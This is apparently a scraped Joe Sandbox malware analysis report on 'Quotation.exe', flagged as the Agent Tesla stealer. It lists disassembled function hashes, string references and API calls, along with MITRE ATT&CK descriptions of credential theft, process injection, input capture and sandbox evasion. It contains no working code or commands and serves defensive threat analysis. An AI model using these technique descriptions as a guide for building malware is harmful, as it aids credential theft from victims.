Instruction Fuzzy Hash: B8018639B400100BEB14A66FD424B5FA6DBDBC5750F21853AE20ED7764DA65DC034796

Function 36D5EE40 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26e6403042c718f71de2afaf5a0d507d09e57552bdf219936c4d5c7a2ff67f36
Instruction ID: 6bbd8ba185097e6df79240c27c535ce9ecc60bba1623d642ac42056c224a735a
Opcode Fuzzy Hash: 26e6403042c718f71de2afaf5a0d507d09e57552bdf219936c4d5c7a2ff67f36
Instruction Fuzzy Hash: FF018C39B200101BEB25AA3DC454B2F77DBDBCA650F218839E20ACB740DE25DC034389

Function 36D5A3A8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dba6e4bc5c405b475a8fb4f856c3fd26a46f778bffc37903453dc5fba49ae136
Instruction ID: 75112185e40ca5cf93639e1030f19ae6c10fdb64be7e91a65ddb240d531682bc
Opcode Fuzzy Hash: dba6e4bc5c405b475a8fb4f856c3fd26a46f778bffc37903453dc5fba49ae136
Instruction Fuzzy Hash: F5018C38B100244FEB14DBA8D464B1F77D6DB8AB64F218939E20ED7750EE62DC038789

Function 36D5C878 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb914bf2deac034f36ac143d9027d8c0a5dcf7327153d9762eb7ae724d5c23d6
Instruction ID: 16bf54f9f4e45d647ce0052789ff8ef5c00bdc6f319d0179973a5c1fbf2898e4
Opcode Fuzzy Hash: cb914bf2deac034f36ac143d9027d8c0a5dcf7327153d9762eb7ae724d5c23d6
Instruction Fuzzy Hash: 4501F435F102249BDF189A79E891A897B79FB86354F10453DEA00EB341DB32EC098BC4

Function 0015F8B0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da8d3f86421d61e83b73b2909b93ad3401f0e91cf4a86e788de856146742b569
Instruction ID: 249a4499b2e864b8b8ae82a6bd6495414a7155b1ca2d9a93702192cee1299105
Opcode Fuzzy Hash: da8d3f86421d61e83b73b2909b93ad3401f0e91cf4a86e788de856146742b569
Instruction Fuzzy Hash: B1F097317C42048FCB082ABC4820A6B2FAEFFC2340B12017AE601CF299EE958C0743F1

Function 0015F2F0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b53e26f92c3c659a9f90e4bd97e0a4e00a555b0ea760c90202b5658de840df
Instruction ID: 4ca0d63ddd7e8b9c71a341601ec7033c39329ae62f205bc38dabf1a0cc8700c7
Opcode Fuzzy Hash: f6b53e26f92c3c659a9f90e4bd97e0a4e00a555b0ea760c90202b5658de840df
Instruction Fuzzy Hash: 19F0E5207C01049BC60826AD9965B7F2BDEFFC5791F11483AEB06DB258EE58DC0B53E1

Function 00157EB0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 886aee143f6576d77e34324fc13fd226fc73a7f1a24349880f5ee712ac4c6b0c
Instruction ID: 77e8bf2dc6a0efa50f4412db8d0c580c18e7b2987bcd6589d978b83461853114
Opcode Fuzzy Hash: 886aee143f6576d77e34324fc13fd226fc73a7f1a24349880f5ee712ac4c6b0c
Instruction Fuzzy Hash: 9CF01439B40204CFCB04DB68D998A6C73B2EF88315F5040A8E5069B3A0CB30AD42CB41

Function 36D56519 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5097023499777c61289f8ca4fc3c1ff8feb55f22bc1216d4f997f0ec66c0ed97
Instruction ID: bb45fa0a9e90a4696c2d3b0e1c1d4b9e7da7b5c270e4b0d1969f621e97323e81
Opcode Fuzzy Hash: 5097023499777c61289f8ca4fc3c1ff8feb55f22bc1216d4f997f0ec66c0ed97
Instruction Fuzzy Hash: 2DE04F71E64288ABEF01CF74C90976B76ACD702244F6289F5D604CB652F276DE118751

Function 0015E6E8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9015c47ef9cef9a1e975b950050731352a5cf3b9ce04cb211218acfea42ae399
Instruction ID: 3148d29ca81a91485d71692166a194ac77ac71c636f62ee99450a71e01eb39e8
Opcode Fuzzy Hash: 9015c47ef9cef9a1e975b950050731352a5cf3b9ce04cb211218acfea42ae399
Instruction Fuzzy Hash: 42D02B21E087085FE32D921CA80871337EE9709350F454056E91ACB382D7509D0543D0

Function 0015E6F8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3268460441.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e352f056c1d45ef6dd97e84704ac796c81c8c4a10b6b42172138bd2a14031928
Instruction ID: cf3f65a1e94802ec41b37652255ca3f3446ac23007653e0b0abd66248cab7814
Opcode Fuzzy Hash: e352f056c1d45ef6dd97e84704ac796c81c8c4a10b6b42172138bd2a14031928
Instruction Fuzzy Hash: B7D05E34A05714DBC32CDA59D144653B7EABB48715B854419E45687A40C760FD0587C0

Non-executed Functions

Function 36D57740 Relevance: 15.5, Strings: 12, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 36D578B1
$]q, xrefs: 36D57CDC
FI6, xrefs: 36D578DF
$]q, xrefs: 36D57CF2
$]q, xrefs: 36D57CD0
$]q, xrefs: 36D57874
$]q, xrefs: 36D57C31
$]q, xrefs: 36D578A5
,FI6, xrefs: 36D578F1
$]q, xrefs: 36D57880
$]q, xrefs: 36D57CE6
$]q, xrefs: 36D57C3D

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: ,FI6$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$FI6
API String ID: 0-4249346219
Opcode ID: 6680e5f6307f8f3eb5e2be58cd364bf869fe1de8c7b7527fcd72941c5a7a93bc
Instruction ID: 3045c2e3692aab9a0d4450d631998583efb48e40a4751668a7b190410942b134
Opcode Fuzzy Hash: 6680e5f6307f8f3eb5e2be58cd364bf869fe1de8c7b7527fcd72941c5a7a93bc
Instruction Fuzzy Hash: 16123B34E00219CFDB18DF69C894A9EB7F2BF88304F21856AD509AB665DB349D46CF81

Function 004036DA Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008001), ref: 004036F6
GetVersionExW.KERNEL32(?), ref: 0040371F

Strings

UXTHEME, xrefs: 004037CE, 004037D3, 004037D9
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004036E6
NSIS Error, xrefs: 00403840

Memory Dump Source

Source File: 00000003.00000002.3268561346.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3268546978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268577399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268592200.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268697879.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Quotation.jbxd

Similarity

API ID: ErrorModeVersion
String ID: Error writing temporary file. Make sure your temp folder is valid.$NSIS Error$UXTHEME
API String ID: 3050056751-1170945346
Opcode ID: 3492d16e7cd3d864a73ca6f3751150f47a45c6dad39efc7e233a49914b035e7a
Instruction ID: 04f03ee53333af138268126fb18566c4da9f6100b8f71d1fbc27ece8fdb1561f
Opcode Fuzzy Hash: 3492d16e7cd3d864a73ca6f3751150f47a45c6dad39efc7e233a49914b035e7a
Instruction Fuzzy Hash: CF3104B0504350AFD310AF659D95BBB3AE8EB85305F40443FF8C6BB2C1DA7C89448B6A

Function 0040617C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
wsprintfW.USER32 ref: 004061CF
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

UXTHEME, xrefs: 0040618B
%s%S.dll, xrefs: 004061C9
\, xrefs: 004061A4

Memory Dump Source

Source File: 00000003.00000002.3268561346.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3268546978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268577399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268592200.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268697879.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Quotation.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction ID: a4cd9840ceca3203298f5f6208b2692cfaa140b5cc7ad0efff7adaa08ca45ff7
Opcode Fuzzy Hash: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction Fuzzy Hash: CEF0BB7190161457D710B764DE0DB9A367CEB10304F54447A6646F62C1EB7C9A54C79C

Function 36D5A9C8 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 36D5AB7A
$]q, xrefs: 36D5AB86
$]q, xrefs: 36D5AABE
$]q, xrefs: 36D5AB25
$]q, xrefs: 36D5AACA
$]q, xrefs: 36D5AB50
$]q, xrefs: 36D5AB44
$]q, xrefs: 36D5AB19

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: d40a1367b240a6f05b409a993daf3962e93c4dbe5cdd0e30d0ba796d7086595e
Instruction ID: b00577a7a8bafcbdfa50e45f825f45a8a5749fe1bd3a5df3394ddac9d7381861
Opcode Fuzzy Hash: d40a1367b240a6f05b409a993daf3962e93c4dbe5cdd0e30d0ba796d7086595e
Instruction Fuzzy Hash: F191C034A00229DFEF18EF65C594B6E7BF2FF84304F258529E941AB650DBB89C45CB80

Function 36D57140 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 36D575DC
$]q, xrefs: 36D5747C
$]q, xrefs: 36D57488
$]q, xrefs: 36D57654
.5uq, xrefs: 36D5719B
$]q, xrefs: 36D57648
$]q, xrefs: 36D57422

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: d1a025156d6d199b9a80c7cfcd1ad5e1e299a86031cb65f11444abfd67536b98
Instruction ID: f5a23d1ac4c8985529eeab80556e2800a5a88a19bf5d924537687d0ce7d57cdd
Opcode Fuzzy Hash: d1a025156d6d199b9a80c7cfcd1ad5e1e299a86031cb65f11444abfd67536b98
Instruction Fuzzy Hash: FFF16C34A00204CFDB09DFA9D5A4A5EBBB6FF88340F218528E815AB765DB35DC46CB84

Function 004068C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EE,0000000B), ref: 004068D2
GetProcAddress.KERNEL32(00000000), ref: 004068EE

Part of subcall function 0040617C: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
Part of subcall function 0040617C: wsprintfW.USER32 ref: 004061CF
Part of subcall function 0040617C: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

UXTHEME, xrefs: 004068C4, 004068D1, 004068DC
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004068C5

Memory Dump Source

Source File: 00000003.00000002.3268561346.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3268546978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268577399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268592200.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3268697879.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Quotation.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: Error writing temporary file. Make sure your temp folder is valid.$UXTHEME
API String ID: 2547128583-890815371
Opcode ID: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction ID: cca553acf36b1fe6902a80dcde2ed56f94a70d609a724c5234c7087bacb34bc4
Opcode Fuzzy Hash: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction Fuzzy Hash: FDD02B331022159BC7002F22AE0894F776DEF66350701403BF541F2230EB38C82295FD

Function 36D58470 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 36D586D6
$]q, xrefs: 36D586CA
$]q, xrefs: 36D5873B
$]q, xrefs: 36D5872F

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 9a5ec0873563fe2fd2a868cdf28afb7190130d81780c46c2dc56bef242221910
Instruction ID: 15029175aea011f760d66c022bc447f0303bc3c2221cb6f5ddd4c1dfa644a41c
Opcode Fuzzy Hash: 9a5ec0873563fe2fd2a868cdf28afb7190130d81780c46c2dc56bef242221910
Instruction Fuzzy Hash: E7B18D34E00218CFDB18DFA5D490A9EBBB6FF88344F218929D5069B755DB35DC86CB81

Function 36D58AC0 Relevance: 5.3, Strings: 4, Instructions: 262COMMON

Download Yara Rule

Strings

DRI6, xrefs: 36D58C82
XM, xrefs: 36D58D45
TI6, xrefs: 36D58CB9
XM, xrefs: 36D58E4F

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: DRI6$XM$XM$TI6
API String ID: 0-2294773779
Opcode ID: ce41ac662e635512aa38839c2d9cf9a63941f1cf5a311be1b59d922f986f195d
Instruction ID: 2d638bf02c8ddf78d629236d6c0a2ae31a6b63de26259fb602cc75f4b4770d3e
Opcode Fuzzy Hash: ce41ac662e635512aa38839c2d9cf9a63941f1cf5a311be1b59d922f986f195d
Instruction Fuzzy Hash: F3A15B34B002198FDB54DB74C89079EB7B2EF89304F2086A9D509AB355DB35DD46CB92

Function 36D58888 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 36D58913
LR]q, xrefs: 36D5897B
LR]q, xrefs: 36D589CA
$]q, xrefs: 36D58907

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: 7e5c633ef34997b1d9a5d145418fa4dc659550c80efec9b5bf501cb2651b6082
Instruction ID: 8c590efe3682686eaf21a919bbf8778671d14b033e17760efbd2bb539200da73
Opcode Fuzzy Hash: 7e5c633ef34997b1d9a5d145418fa4dc659550c80efec9b5bf501cb2651b6082
Instruction Fuzzy Hash: A351C134B002199FDF08DB28C890A5A77F6FF89704F118569E505AB7A5DB30EC06CB96

Function 36D5BCF8 Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

(\I6, xrefs: 36D5BBDA
$]q, xrefs: 36D5BCA1
(\I6, xrefs: 36D5BCCE
$]q, xrefs: 36D5BC6D

Memory Dump Source

Source File: 00000003.00000002.3294329242.0000000036D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36d50000_Quotation.jbxd

Similarity

API ID:
String ID: (\I6$(\I6$$]q$$]q
API String ID: 0-1576202101
Opcode ID: b6d043412aad3cf86928fd3243fb1164930f872d3e3ada18a903555d3a9710d9
Instruction ID: c51a881a53971670a1008ab7c17d472bc656e6ba4b2129218527d74c2e7f0f04
Opcode Fuzzy Hash: b6d043412aad3cf86928fd3243fb1164930f872d3e3ada18a903555d3a9710d9
Instruction Fuzzy Hash: 4A416C34E00319CFEF14CFA4D5A09ADB7B2FF85304B22855AEA45AB650DB70ED42CB85

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Quotation.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

